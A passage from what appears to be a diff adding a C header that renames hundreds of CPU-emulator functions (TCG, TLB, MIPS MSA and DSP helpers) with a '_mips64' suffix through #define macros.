+#define tcg_target_const_match tcg_target_const_match_mips64 +#define tcg_target_init tcg_target_init_mips64 +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_mips64 +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_mips64 +#define tcg_temp_alloc tcg_temp_alloc_mips64 +#define tcg_temp_free_i32 tcg_temp_free_i32_mips64 +#define tcg_temp_free_i64 tcg_temp_free_i64_mips64 +#define tcg_temp_free_internal tcg_temp_free_internal_mips64 +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_mips64 +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_mips64 +#define tcg_temp_new_i32 tcg_temp_new_i32_mips64 +#define tcg_temp_new_i64 tcg_temp_new_i64_mips64 +#define tcg_temp_new_internal tcg_temp_new_internal_mips64 +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_mips64 +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_mips64 +#define tdb_hash tdb_hash_mips64 +#define teecr_write teecr_write_mips64 +#define teehbr_access teehbr_access_mips64 +#define temp_allocate_frame temp_allocate_frame_mips64 +#define temp_dead temp_dead_mips64 +#define temps_are_copies temps_are_copies_mips64 +#define temp_save temp_save_mips64 +#define temp_sync temp_sync_mips64 +#define tgen_arithi tgen_arithi_mips64 +#define tgen_arithr tgen_arithr_mips64 +#define thumb2_logic_op thumb2_logic_op_mips64 +#define ti925t_initfn ti925t_initfn_mips64 +#define tlb_add_large_page tlb_add_large_page_mips64 +#define tlb_flush_entry tlb_flush_entry_mips64 +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_mips64 +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_mips64 +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_mips64 +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_mips64 +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_mips64 +#define tlbi_aa64_va_write tlbi_aa64_va_write_mips64 +#define tlbiall_is_write tlbiall_is_write_mips64 +#define tlbiall_write tlbiall_write_mips64 +#define tlbiasid_is_write tlbiasid_is_write_mips64 +#define tlbiasid_write tlbiasid_write_mips64 +#define tlbimvaa_is_write tlbimvaa_is_write_mips64 +#define tlbimvaa_write tlbimvaa_write_mips64 +#define tlbimva_is_write tlbimva_is_write_mips64 +#define tlbimva_write tlbimva_write_mips64 +#define tlb_is_dirty_ram tlb_is_dirty_ram_mips64 +#define tlb_protect_code tlb_protect_code_mips64 +#define tlb_reset_dirty_range tlb_reset_dirty_range_mips64 +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_mips64 +#define tlb_set_dirty tlb_set_dirty_mips64 +#define tlb_set_dirty1 tlb_set_dirty1_mips64 +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_mips64 +#define tlb_vaddr_to_host tlb_vaddr_to_host_mips64 +#define token_get_type token_get_type_mips64 +#define token_get_value token_get_value_mips64 +#define token_is_escape token_is_escape_mips64 +#define token_is_keyword token_is_keyword_mips64 +#define token_is_operator token_is_operator_mips64 +#define tokens_append_from_iter tokens_append_from_iter_mips64 +#define to_qiv to_qiv_mips64 +#define to_qov to_qov_mips64 +#define tosa_init tosa_init_mips64 +#define tosa_machine_init tosa_machine_init_mips64 +#define tswap32 tswap32_mips64 +#define tswap64 tswap64_mips64 +#define type_class_get_size type_class_get_size_mips64 +#define type_get_by_name type_get_by_name_mips64 +#define type_get_parent type_get_parent_mips64 +#define type_has_parent type_has_parent_mips64 +#define type_initialize type_initialize_mips64 +#define type_initialize_interface type_initialize_interface_mips64 +#define type_is_ancestor type_is_ancestor_mips64 +#define type_new type_new_mips64 +#define type_object_get_size type_object_get_size_mips64 +#define type_register_internal type_register_internal_mips64 +#define type_table_add type_table_add_mips64 +#define type_table_get type_table_get_mips64 +#define type_table_lookup type_table_lookup_mips64 +#define uint16_to_float32 uint16_to_float32_mips64 +#define uint16_to_float64 uint16_to_float64_mips64 +#define uint32_to_float32 uint32_to_float32_mips64 +#define uint32_to_float64 uint32_to_float64_mips64 +#define uint64_to_float128 uint64_to_float128_mips64 +#define uint64_to_float32 uint64_to_float32_mips64 +#define uint64_to_float64 uint64_to_float64_mips64 +#define unassigned_io_ops unassigned_io_ops_mips64 +#define unassigned_io_read unassigned_io_read_mips64 +#define unassigned_io_write unassigned_io_write_mips64 +#define unassigned_mem_accepts unassigned_mem_accepts_mips64 +#define unassigned_mem_ops unassigned_mem_ops_mips64 +#define unassigned_mem_read unassigned_mem_read_mips64 +#define unassigned_mem_write unassigned_mem_write_mips64 +#define update_spsel update_spsel_mips64 +#define v6_cp_reginfo v6_cp_reginfo_mips64 +#define v6k_cp_reginfo v6k_cp_reginfo_mips64 +#define v7_cp_reginfo v7_cp_reginfo_mips64 +#define v7mp_cp_reginfo v7mp_cp_reginfo_mips64 +#define v7m_pop v7m_pop_mips64 +#define v7m_push v7m_push_mips64 +#define v8_cp_reginfo v8_cp_reginfo_mips64 +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_mips64 +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_mips64 +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_mips64 +#define vapa_cp_reginfo vapa_cp_reginfo_mips64 +#define vbar_write vbar_write_mips64 +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_mips64 +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_mips64 +#define vfp_get_fpcr vfp_get_fpcr_mips64 +#define vfp_get_fpscr vfp_get_fpscr_mips64 +#define vfp_get_fpsr vfp_get_fpsr_mips64 +#define vfp_reg_offset vfp_reg_offset_mips64 +#define vfp_set_fpcr vfp_set_fpcr_mips64 +#define vfp_set_fpscr vfp_set_fpscr_mips64 +#define vfp_set_fpsr vfp_set_fpsr_mips64 +#define visit_end_implicit_struct visit_end_implicit_struct_mips64 +#define visit_end_list visit_end_list_mips64 +#define visit_end_struct visit_end_struct_mips64 +#define visit_end_union visit_end_union_mips64 +#define visit_get_next_type visit_get_next_type_mips64 +#define visit_next_list visit_next_list_mips64 +#define visit_optional visit_optional_mips64 +#define visit_start_implicit_struct visit_start_implicit_struct_mips64 +#define visit_start_list visit_start_list_mips64 +#define visit_start_struct visit_start_struct_mips64 +#define visit_start_union visit_start_union_mips64 +#define vmsa_cp_reginfo vmsa_cp_reginfo_mips64 +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_mips64 +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_mips64 +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_mips64 +#define vmsa_ttbcr_write vmsa_ttbcr_write_mips64 +#define vmsa_ttbr_write vmsa_ttbr_write_mips64 +#define write_cpustate_to_list write_cpustate_to_list_mips64 +#define write_list_to_cpustate write_list_to_cpustate_mips64 +#define write_raw_cp_reg write_raw_cp_reg_mips64 +#define X86CPURegister32_lookup X86CPURegister32_lookup_mips64 +#define x86_op_defs x86_op_defs_mips64 +#define xpsr_read xpsr_read_mips64 +#define xpsr_write xpsr_write_mips64 +#define xscale_cpar_write xscale_cpar_write_mips64 +#define xscale_cp_reginfo xscale_cp_reginfo_mips64 +#define cpu_mips_exec cpu_mips_exec_mips64 +#define cpu_mips_get_random cpu_mips_get_random_mips64 +#define cpu_mips_get_count cpu_mips_get_count_mips64 +#define cpu_mips_store_count cpu_mips_store_count_mips64 +#define cpu_mips_store_compare cpu_mips_store_compare_mips64 +#define cpu_mips_start_count cpu_mips_start_count_mips64 +#define cpu_mips_stop_count cpu_mips_stop_count_mips64 +#define mips_machine_init mips_machine_init_mips64 +#define cpu_mips_kseg0_to_phys cpu_mips_kseg0_to_phys_mips64 +#define cpu_mips_phys_to_kseg0 cpu_mips_phys_to_kseg0_mips64 +#define cpu_mips_kvm_um_phys_to_kseg0 cpu_mips_kvm_um_phys_to_kseg0_mips64 +#define mips_cpu_register_types mips_cpu_register_types_mips64 +#define cpu_mips_init cpu_mips_init_mips64 +#define cpu_state_reset cpu_state_reset_mips64 +#define helper_msa_andi_b helper_msa_andi_b_mips64 +#define helper_msa_ori_b helper_msa_ori_b_mips64 +#define helper_msa_nori_b helper_msa_nori_b_mips64 +#define helper_msa_xori_b helper_msa_xori_b_mips64 +#define helper_msa_bmnzi_b helper_msa_bmnzi_b_mips64 +#define helper_msa_bmzi_b helper_msa_bmzi_b_mips64 +#define helper_msa_bseli_b helper_msa_bseli_b_mips64 +#define helper_msa_shf_df helper_msa_shf_df_mips64 +#define helper_msa_and_v helper_msa_and_v_mips64 +#define helper_msa_or_v helper_msa_or_v_mips64 +#define helper_msa_nor_v helper_msa_nor_v_mips64 +#define helper_msa_xor_v helper_msa_xor_v_mips64 +#define helper_msa_bmnz_v helper_msa_bmnz_v_mips64 +#define helper_msa_bmz_v helper_msa_bmz_v_mips64 +#define helper_msa_bsel_v helper_msa_bsel_v_mips64 +#define helper_msa_addvi_df helper_msa_addvi_df_mips64 +#define helper_msa_subvi_df helper_msa_subvi_df_mips64 +#define helper_msa_ceqi_df helper_msa_ceqi_df_mips64 +#define helper_msa_clei_s_df helper_msa_clei_s_df_mips64 +#define helper_msa_clei_u_df helper_msa_clei_u_df_mips64 +#define helper_msa_clti_s_df helper_msa_clti_s_df_mips64 +#define helper_msa_clti_u_df helper_msa_clti_u_df_mips64 +#define helper_msa_maxi_s_df helper_msa_maxi_s_df_mips64 +#define helper_msa_maxi_u_df helper_msa_maxi_u_df_mips64 +#define helper_msa_mini_s_df helper_msa_mini_s_df_mips64 +#define helper_msa_mini_u_df helper_msa_mini_u_df_mips64 +#define helper_msa_ldi_df helper_msa_ldi_df_mips64 +#define helper_msa_slli_df helper_msa_slli_df_mips64 +#define helper_msa_srai_df helper_msa_srai_df_mips64 +#define helper_msa_srli_df helper_msa_srli_df_mips64 +#define helper_msa_bclri_df helper_msa_bclri_df_mips64 +#define helper_msa_bseti_df helper_msa_bseti_df_mips64 +#define helper_msa_bnegi_df helper_msa_bnegi_df_mips64 +#define helper_msa_sat_s_df helper_msa_sat_s_df_mips64 +#define helper_msa_sat_u_df helper_msa_sat_u_df_mips64 +#define helper_msa_srari_df helper_msa_srari_df_mips64 +#define helper_msa_srlri_df helper_msa_srlri_df_mips64 +#define helper_msa_binsli_df helper_msa_binsli_df_mips64 +#define helper_msa_binsri_df helper_msa_binsri_df_mips64 +#define helper_msa_sll_df helper_msa_sll_df_mips64 +#define helper_msa_sra_df helper_msa_sra_df_mips64 +#define helper_msa_srl_df helper_msa_srl_df_mips64 +#define helper_msa_bclr_df helper_msa_bclr_df_mips64 +#define helper_msa_bset_df helper_msa_bset_df_mips64 +#define helper_msa_bneg_df helper_msa_bneg_df_mips64 +#define helper_msa_addv_df helper_msa_addv_df_mips64 +#define helper_msa_subv_df helper_msa_subv_df_mips64 +#define helper_msa_max_s_df helper_msa_max_s_df_mips64 +#define helper_msa_max_u_df helper_msa_max_u_df_mips64 +#define helper_msa_min_s_df helper_msa_min_s_df_mips64 +#define helper_msa_min_u_df helper_msa_min_u_df_mips64 +#define helper_msa_max_a_df helper_msa_max_a_df_mips64 +#define helper_msa_min_a_df helper_msa_min_a_df_mips64 +#define helper_msa_ceq_df helper_msa_ceq_df_mips64 +#define helper_msa_clt_s_df helper_msa_clt_s_df_mips64 +#define helper_msa_clt_u_df helper_msa_clt_u_df_mips64 +#define helper_msa_cle_s_df helper_msa_cle_s_df_mips64 +#define helper_msa_cle_u_df helper_msa_cle_u_df_mips64 +#define helper_msa_add_a_df helper_msa_add_a_df_mips64 +#define helper_msa_adds_a_df helper_msa_adds_a_df_mips64 +#define helper_msa_adds_s_df helper_msa_adds_s_df_mips64 +#define helper_msa_adds_u_df helper_msa_adds_u_df_mips64 +#define helper_msa_ave_s_df helper_msa_ave_s_df_mips64 +#define helper_msa_ave_u_df helper_msa_ave_u_df_mips64 +#define helper_msa_aver_s_df helper_msa_aver_s_df_mips64 +#define helper_msa_aver_u_df helper_msa_aver_u_df_mips64 +#define helper_msa_subs_s_df helper_msa_subs_s_df_mips64 +#define helper_msa_subs_u_df helper_msa_subs_u_df_mips64 +#define helper_msa_subsus_u_df helper_msa_subsus_u_df_mips64 +#define helper_msa_subsuu_s_df helper_msa_subsuu_s_df_mips64 +#define helper_msa_asub_s_df helper_msa_asub_s_df_mips64 +#define helper_msa_asub_u_df helper_msa_asub_u_df_mips64 +#define helper_msa_mulv_df helper_msa_mulv_df_mips64 +#define helper_msa_div_s_df helper_msa_div_s_df_mips64 +#define helper_msa_div_u_df helper_msa_div_u_df_mips64 +#define helper_msa_mod_s_df helper_msa_mod_s_df_mips64 +#define helper_msa_mod_u_df helper_msa_mod_u_df_mips64 +#define helper_msa_dotp_s_df helper_msa_dotp_s_df_mips64 +#define helper_msa_dotp_u_df helper_msa_dotp_u_df_mips64 +#define helper_msa_srar_df helper_msa_srar_df_mips64 +#define helper_msa_srlr_df helper_msa_srlr_df_mips64 +#define helper_msa_hadd_s_df helper_msa_hadd_s_df_mips64 +#define helper_msa_hadd_u_df helper_msa_hadd_u_df_mips64 +#define helper_msa_hsub_s_df helper_msa_hsub_s_df_mips64 +#define helper_msa_hsub_u_df helper_msa_hsub_u_df_mips64 +#define helper_msa_mul_q_df helper_msa_mul_q_df_mips64 +#define helper_msa_mulr_q_df helper_msa_mulr_q_df_mips64 +#define helper_msa_sld_df helper_msa_sld_df_mips64 +#define helper_msa_maddv_df helper_msa_maddv_df_mips64 +#define helper_msa_msubv_df helper_msa_msubv_df_mips64 +#define helper_msa_dpadd_s_df helper_msa_dpadd_s_df_mips64 +#define helper_msa_dpadd_u_df helper_msa_dpadd_u_df_mips64 +#define helper_msa_dpsub_s_df helper_msa_dpsub_s_df_mips64 +#define helper_msa_dpsub_u_df helper_msa_dpsub_u_df_mips64 +#define helper_msa_binsl_df helper_msa_binsl_df_mips64 +#define helper_msa_binsr_df helper_msa_binsr_df_mips64 +#define helper_msa_madd_q_df helper_msa_madd_q_df_mips64 +#define helper_msa_msub_q_df helper_msa_msub_q_df_mips64 +#define helper_msa_maddr_q_df helper_msa_maddr_q_df_mips64 +#define helper_msa_msubr_q_df helper_msa_msubr_q_df_mips64 +#define helper_msa_splat_df helper_msa_splat_df_mips64 +#define helper_msa_pckev_df helper_msa_pckev_df_mips64 +#define helper_msa_pckod_df helper_msa_pckod_df_mips64 +#define helper_msa_ilvl_df helper_msa_ilvl_df_mips64 +#define helper_msa_ilvr_df helper_msa_ilvr_df_mips64 +#define helper_msa_ilvev_df helper_msa_ilvev_df_mips64 +#define helper_msa_ilvod_df helper_msa_ilvod_df_mips64 +#define helper_msa_vshf_df helper_msa_vshf_df_mips64 +#define helper_msa_sldi_df helper_msa_sldi_df_mips64 +#define helper_msa_splati_df helper_msa_splati_df_mips64 +#define helper_msa_copy_s_df helper_msa_copy_s_df_mips64 +#define helper_msa_copy_u_df helper_msa_copy_u_df_mips64 +#define helper_msa_insert_df helper_msa_insert_df_mips64 +#define helper_msa_insve_df helper_msa_insve_df_mips64 +#define helper_msa_ctcmsa helper_msa_ctcmsa_mips64 +#define helper_msa_cfcmsa helper_msa_cfcmsa_mips64 +#define helper_msa_move_v helper_msa_move_v_mips64 +#define helper_msa_fill_df helper_msa_fill_df_mips64 +#define helper_msa_nlzc_df helper_msa_nlzc_df_mips64 +#define helper_msa_nloc_df helper_msa_nloc_df_mips64 +#define helper_msa_pcnt_df helper_msa_pcnt_df_mips64 +#define helper_msa_fcaf_df helper_msa_fcaf_df_mips64 +#define helper_msa_fcun_df helper_msa_fcun_df_mips64 +#define helper_msa_fceq_df helper_msa_fceq_df_mips64 +#define helper_msa_fcueq_df helper_msa_fcueq_df_mips64 +#define helper_msa_fclt_df helper_msa_fclt_df_mips64 +#define helper_msa_fcult_df helper_msa_fcult_df_mips64 +#define helper_msa_fcle_df helper_msa_fcle_df_mips64 +#define helper_msa_fcule_df helper_msa_fcule_df_mips64 +#define helper_msa_fsaf_df helper_msa_fsaf_df_mips64 +#define helper_msa_fsun_df helper_msa_fsun_df_mips64 +#define helper_msa_fseq_df helper_msa_fseq_df_mips64 +#define helper_msa_fsueq_df helper_msa_fsueq_df_mips64 +#define helper_msa_fslt_df helper_msa_fslt_df_mips64 +#define helper_msa_fsult_df helper_msa_fsult_df_mips64 +#define helper_msa_fsle_df helper_msa_fsle_df_mips64 +#define helper_msa_fsule_df helper_msa_fsule_df_mips64 +#define helper_msa_fcor_df helper_msa_fcor_df_mips64 +#define helper_msa_fcune_df helper_msa_fcune_df_mips64 +#define helper_msa_fcne_df helper_msa_fcne_df_mips64 +#define helper_msa_fsor_df helper_msa_fsor_df_mips64 +#define helper_msa_fsune_df helper_msa_fsune_df_mips64 +#define helper_msa_fsne_df helper_msa_fsne_df_mips64 +#define helper_msa_fadd_df helper_msa_fadd_df_mips64 +#define helper_msa_fsub_df helper_msa_fsub_df_mips64 +#define helper_msa_fmul_df helper_msa_fmul_df_mips64 +#define helper_msa_fdiv_df helper_msa_fdiv_df_mips64 +#define helper_msa_fmadd_df helper_msa_fmadd_df_mips64 +#define helper_msa_fmsub_df helper_msa_fmsub_df_mips64 +#define helper_msa_fexp2_df helper_msa_fexp2_df_mips64 +#define helper_msa_fexdo_df helper_msa_fexdo_df_mips64 +#define helper_msa_ftq_df helper_msa_ftq_df_mips64 +#define helper_msa_fmin_df helper_msa_fmin_df_mips64 +#define helper_msa_fmin_a_df helper_msa_fmin_a_df_mips64 +#define helper_msa_fmax_df helper_msa_fmax_df_mips64 +#define helper_msa_fmax_a_df helper_msa_fmax_a_df_mips64 +#define helper_msa_fclass_df helper_msa_fclass_df_mips64 +#define helper_msa_ftrunc_s_df helper_msa_ftrunc_s_df_mips64 +#define helper_msa_ftrunc_u_df helper_msa_ftrunc_u_df_mips64 +#define helper_msa_fsqrt_df helper_msa_fsqrt_df_mips64 +#define helper_msa_frsqrt_df helper_msa_frsqrt_df_mips64 +#define helper_msa_frcp_df helper_msa_frcp_df_mips64 +#define helper_msa_frint_df helper_msa_frint_df_mips64 +#define helper_msa_flog2_df helper_msa_flog2_df_mips64 +#define helper_msa_fexupl_df helper_msa_fexupl_df_mips64 +#define helper_msa_fexupr_df helper_msa_fexupr_df_mips64 +#define helper_msa_ffql_df helper_msa_ffql_df_mips64 +#define helper_msa_ffqr_df helper_msa_ffqr_df_mips64 +#define helper_msa_ftint_s_df helper_msa_ftint_s_df_mips64 +#define helper_msa_ftint_u_df helper_msa_ftint_u_df_mips64 +#define helper_msa_ffint_s_df helper_msa_ffint_s_df_mips64 +#define helper_msa_ffint_u_df helper_msa_ffint_u_df_mips64 +#define helper_paddsb helper_paddsb_mips64 +#define helper_paddusb helper_paddusb_mips64 +#define helper_paddsh helper_paddsh_mips64 +#define helper_paddush helper_paddush_mips64 +#define helper_paddb helper_paddb_mips64 +#define helper_paddh helper_paddh_mips64 +#define helper_paddw helper_paddw_mips64 +#define helper_psubsb helper_psubsb_mips64 +#define helper_psubusb helper_psubusb_mips64 +#define helper_psubsh helper_psubsh_mips64 +#define helper_psubush helper_psubush_mips64 +#define helper_psubb helper_psubb_mips64 +#define helper_psubh helper_psubh_mips64 +#define helper_psubw helper_psubw_mips64 +#define helper_pshufh helper_pshufh_mips64 +#define helper_packsswh helper_packsswh_mips64 +#define helper_packsshb helper_packsshb_mips64 +#define helper_packushb helper_packushb_mips64 +#define helper_punpcklwd helper_punpcklwd_mips64 +#define helper_punpckhwd helper_punpckhwd_mips64 +#define helper_punpcklhw helper_punpcklhw_mips64 +#define helper_punpckhhw helper_punpckhhw_mips64 +#define helper_punpcklbh helper_punpcklbh_mips64 +#define helper_punpckhbh helper_punpckhbh_mips64 +#define helper_pavgh helper_pavgh_mips64 +#define helper_pavgb helper_pavgb_mips64 +#define helper_pmaxsh helper_pmaxsh_mips64 +#define helper_pminsh helper_pminsh_mips64 +#define helper_pmaxub helper_pmaxub_mips64 +#define helper_pminub helper_pminub_mips64 +#define helper_pcmpeqw helper_pcmpeqw_mips64 +#define helper_pcmpgtw helper_pcmpgtw_mips64 +#define helper_pcmpeqh helper_pcmpeqh_mips64 +#define helper_pcmpgth helper_pcmpgth_mips64 +#define helper_pcmpeqb helper_pcmpeqb_mips64 +#define helper_pcmpgtb helper_pcmpgtb_mips64 +#define helper_psllw helper_psllw_mips64 +#define helper_psrlw helper_psrlw_mips64 +#define helper_psraw helper_psraw_mips64 +#define helper_psllh helper_psllh_mips64 +#define helper_psrlh helper_psrlh_mips64 +#define helper_psrah helper_psrah_mips64 +#define helper_pmullh helper_pmullh_mips64 +#define helper_pmulhh helper_pmulhh_mips64 +#define helper_pmulhuh helper_pmulhuh_mips64 +#define helper_pmaddhw helper_pmaddhw_mips64 +#define helper_pasubub helper_pasubub_mips64 +#define helper_biadd helper_biadd_mips64 +#define helper_pmovmskb helper_pmovmskb_mips64 +#define helper_absq_s_ph helper_absq_s_ph_mips64 +#define helper_absq_s_qb helper_absq_s_qb_mips64 +#define helper_absq_s_w helper_absq_s_w_mips64 +#define helper_addqh_ph helper_addqh_ph_mips64 +#define helper_addqh_r_ph helper_addqh_r_ph_mips64 +#define helper_addqh_r_w helper_addqh_r_w_mips64 +#define helper_addqh_w helper_addqh_w_mips64 +#define helper_adduh_qb helper_adduh_qb_mips64 +#define helper_adduh_r_qb helper_adduh_r_qb_mips64 +#define helper_subqh_ph helper_subqh_ph_mips64 +#define helper_subqh_r_ph helper_subqh_r_ph_mips64 +#define helper_subqh_r_w helper_subqh_r_w_mips64 +#define helper_subqh_w helper_subqh_w_mips64 +#define helper_addq_ph helper_addq_ph_mips64 +#define helper_addq_s_ph helper_addq_s_ph_mips64 +#define helper_addq_s_w helper_addq_s_w_mips64 +#define helper_addu_ph helper_addu_ph_mips64 +#define helper_addu_qb helper_addu_qb_mips64 +#define helper_addu_s_ph helper_addu_s_ph_mips64 +#define helper_addu_s_qb helper_addu_s_qb_mips64 +#define helper_subq_ph helper_subq_ph_mips64 +#define helper_subq_s_ph helper_subq_s_ph_mips64 +#define helper_subq_s_w helper_subq_s_w_mips64 +#define helper_subu_ph helper_subu_ph_mips64 +#define helper_subu_qb helper_subu_qb_mips64 +#define helper_subu_s_ph helper_subu_s_ph_mips64 +#define helper_subu_s_qb helper_subu_s_qb_mips64 +#define helper_subuh_qb helper_subuh_qb_mips64 +#define helper_subuh_r_qb helper_subuh_r_qb_mips64 +#define helper_addsc helper_addsc_mips64 +#define helper_addwc helper_addwc_mips64 +#define helper_modsub helper_modsub_mips64 +#define helper_raddu_w_qb helper_raddu_w_qb_mips64 +#define helper_precr_qb_ph helper_precr_qb_ph_mips64 +#define helper_precrq_qb_ph helper_precrq_qb_ph_mips64 +#define helper_precr_sra_ph_w helper_precr_sra_ph_w_mips64 +#define helper_precr_sra_r_ph_w helper_precr_sra_r_ph_w_mips64 +#define helper_precrq_ph_w helper_precrq_ph_w_mips64 +#define helper_precrq_rs_ph_w helper_precrq_rs_ph_w_mips64 +#define helper_precrqu_s_qb_ph helper_precrqu_s_qb_ph_mips64 +#define helper_precequ_ph_qbl helper_precequ_ph_qbl_mips64 +#define helper_precequ_ph_qbr helper_precequ_ph_qbr_mips64 +#define helper_precequ_ph_qbla helper_precequ_ph_qbla_mips64 +#define helper_precequ_ph_qbra helper_precequ_ph_qbra_mips64 +#define helper_preceu_ph_qbl helper_preceu_ph_qbl_mips64 +#define helper_preceu_ph_qbr helper_preceu_ph_qbr_mips64 +#define helper_preceu_ph_qbla helper_preceu_ph_qbla_mips64 +#define helper_preceu_ph_qbra helper_preceu_ph_qbra_mips64 +#define helper_shll_qb helper_shll_qb_mips64 +#define helper_shrl_qb helper_shrl_qb_mips64 +#define helper_shra_qb helper_shra_qb_mips64 +#define helper_shra_r_qb helper_shra_r_qb_mips64 +#define helper_shll_ph helper_shll_ph_mips64 +#define helper_shll_s_ph helper_shll_s_ph_mips64 +#define helper_shll_s_w helper_shll_s_w_mips64 +#define helper_shra_r_w helper_shra_r_w_mips64 +#define helper_shrl_ph helper_shrl_ph_mips64 +#define helper_shra_ph helper_shra_ph_mips64 +#define helper_shra_r_ph helper_shra_r_ph_mips64 +#define helper_muleu_s_ph_qbl helper_muleu_s_ph_qbl_mips64 +#define helper_muleu_s_ph_qbr helper_muleu_s_ph_qbr_mips64 +#define helper_mulq_rs_ph helper_mulq_rs_ph_mips64 +#define helper_mul_ph helper_mul_ph_mips64 +#define helper_mul_s_ph helper_mul_s_ph_mips64 +#define helper_mulq_s_ph helper_mulq_s_ph_mips64 +#define helper_muleq_s_w_phl helper_muleq_s_w_phl_mips64 +#define helper_muleq_s_w_phr helper_muleq_s_w_phr_mips64 +#define helper_mulsaq_s_w_ph helper_mulsaq_s_w_ph_mips64 +#define helper_mulsa_w_ph helper_mulsa_w_ph_mips64 +#define helper_dpau_h_qbl helper_dpau_h_qbl_mips64 +#define helper_dpau_h_qbr helper_dpau_h_qbr_mips64 +#define helper_dpsu_h_qbl helper_dpsu_h_qbl_mips64 +#define helper_dpsu_h_qbr helper_dpsu_h_qbr_mips64 +#define helper_dpa_w_ph helper_dpa_w_ph_mips64 +#define helper_dpax_w_ph helper_dpax_w_ph_mips64 +#define helper_dps_w_ph helper_dps_w_ph_mips64 +#define helper_dpsx_w_ph helper_dpsx_w_ph_mips64 +#define helper_dpaq_s_w_ph helper_dpaq_s_w_ph_mips64 +#define helper_dpaqx_s_w_ph helper_dpaqx_s_w_ph_mips64 +#define helper_dpsq_s_w_ph helper_dpsq_s_w_ph_mips64 +#define helper_dpsqx_s_w_ph helper_dpsqx_s_w_ph_mips64 +#define helper_dpaqx_sa_w_ph helper_dpaqx_sa_w_ph_mips64 +#define helper_dpsqx_sa_w_ph helper_dpsqx_sa_w_ph_mips64 +#define helper_dpaq_sa_l_w helper_dpaq_sa_l_w_mips64 +#define helper_dpsq_sa_l_w helper_dpsq_sa_l_w_mips64 +#define helper_maq_s_w_phl helper_maq_s_w_phl_mips64 +#define helper_maq_s_w_phr helper_maq_s_w_phr_mips64 +#define helper_maq_sa_w_phl helper_maq_sa_w_phl_mips64 +#define helper_maq_sa_w_phr helper_maq_sa_w_phr_mips64 +#define helper_mulq_s_w helper_mulq_s_w_mips64 +#define helper_mulq_rs_w helper_mulq_rs_w_mips64 +#define helper_bitrev helper_bitrev_mips64 +#define helper_insv helper_insv_mips64 +#define helper_cmpgu_eq_qb helper_cmpgu_eq_qb_mips64 +#define helper_cmpgu_lt_qb helper_cmpgu_lt_qb_mips64 +#define helper_cmpgu_le_qb helper_cmpgu_le_qb_mips64 +#define helper_cmpu_eq_qb helper_cmpu_eq_qb_mips64 +#define helper_cmpu_lt_qb helper_cmpu_lt_qb_mips64 +#define helper_cmpu_le_qb helper_cmpu_le_qb_mips64 +#define helper_cmp_eq_ph helper_cmp_eq_ph_mips64 +#define helper_cmp_lt_ph helper_cmp_lt_ph_mips64 +#define helper_cmp_le_ph helper_cmp_le_ph_mips64 +#define helper_pick_qb helper_pick_qb_mips64 +#define helper_pick_ph helper_pick_ph_mips64 +#define helper_packrl_ph helper_packrl_ph_mips64 +#define helper_extr_w helper_extr_w_mips64 +#define helper_extr_r_w helper_extr_r_w_mips64 +#define helper_extr_rs_w helper_extr_rs_w_mips64 +#define helper_extr_s_h helper_extr_s_h_mips64 +#define helper_extp helper_extp_mips64 +#define helper_extpdp helper_extpdp_mips64 +#define helper_shilo helper_shilo_mips64 +#define helper_mthlip helper_mthlip_mips64 +#define cpu_wrdsp cpu_wrdsp_mips64 +#define helper_wrdsp helper_wrdsp_mips64 +#define cpu_rddsp cpu_rddsp_mips64 +#define helper_rddsp helper_rddsp_mips64 +#define helper_raise_exception_err helper_raise_exception_err_mips64 +#define helper_clo helper_clo_mips64 +#define helper_clz helper_clz_mips64 +#define helper_muls helper_muls_mips64 +#define helper_mulsu helper_mulsu_mips64 +#define helper_macc helper_macc_mips64 +#define helper_macchi helper_macchi_mips64 +#define helper_maccu helper_maccu_mips64 +#define helper_macchiu helper_macchiu_mips64 +#define helper_msac helper_msac_mips64 +#define helper_msachi helper_msachi_mips64 +#define helper_msacu helper_msacu_mips64 +#define helper_msachiu helper_msachiu_mips64 +#define helper_mulhi helper_mulhi_mips64 +#define helper_mulhiu helper_mulhiu_mips64 +#define helper_mulshi helper_mulshi_mips64 +#define helper_mulshiu helper_mulshiu_mips64 +#define helper_bitswap helper_bitswap_mips64 +#define helper_ll helper_ll_mips64 +#define helper_sc helper_sc_mips64 +#define helper_swl helper_swl_mips64 +#define helper_swr helper_swr_mips64 +#define helper_lwm helper_lwm_mips64 +#define helper_swm helper_swm_mips64 +#define helper_mfc0_mvpcontrol helper_mfc0_mvpcontrol_mips64 +#define helper_mfc0_mvpconf0 helper_mfc0_mvpconf0_mips64 +#define helper_mfc0_mvpconf1 helper_mfc0_mvpconf1_mips64 +#define helper_mfc0_random helper_mfc0_random_mips64 +#define helper_mfc0_tcstatus helper_mfc0_tcstatus_mips64 +#define helper_mftc0_tcstatus helper_mftc0_tcstatus_mips64 +#define helper_mfc0_tcbind helper_mfc0_tcbind_mips64 +#define helper_mftc0_tcbind helper_mftc0_tcbind_mips64 +#define helper_mfc0_tcrestart helper_mfc0_tcrestart_mips64 +#define helper_mftc0_tcrestart helper_mftc0_tcrestart_mips64 +#define helper_mfc0_tchalt helper_mfc0_tchalt_mips64 +#define helper_mftc0_tchalt helper_mftc0_tchalt_mips64 +#define helper_mfc0_tccontext helper_mfc0_tccontext_mips64 +#define helper_mftc0_tccontext helper_mftc0_tccontext_mips64 +#define helper_mfc0_tcschedule helper_mfc0_tcschedule_mips64 +#define helper_mftc0_tcschedule helper_mftc0_tcschedule_mips64 +#define helper_mfc0_tcschefback helper_mfc0_tcschefback_mips64 +#define helper_mftc0_tcschefback 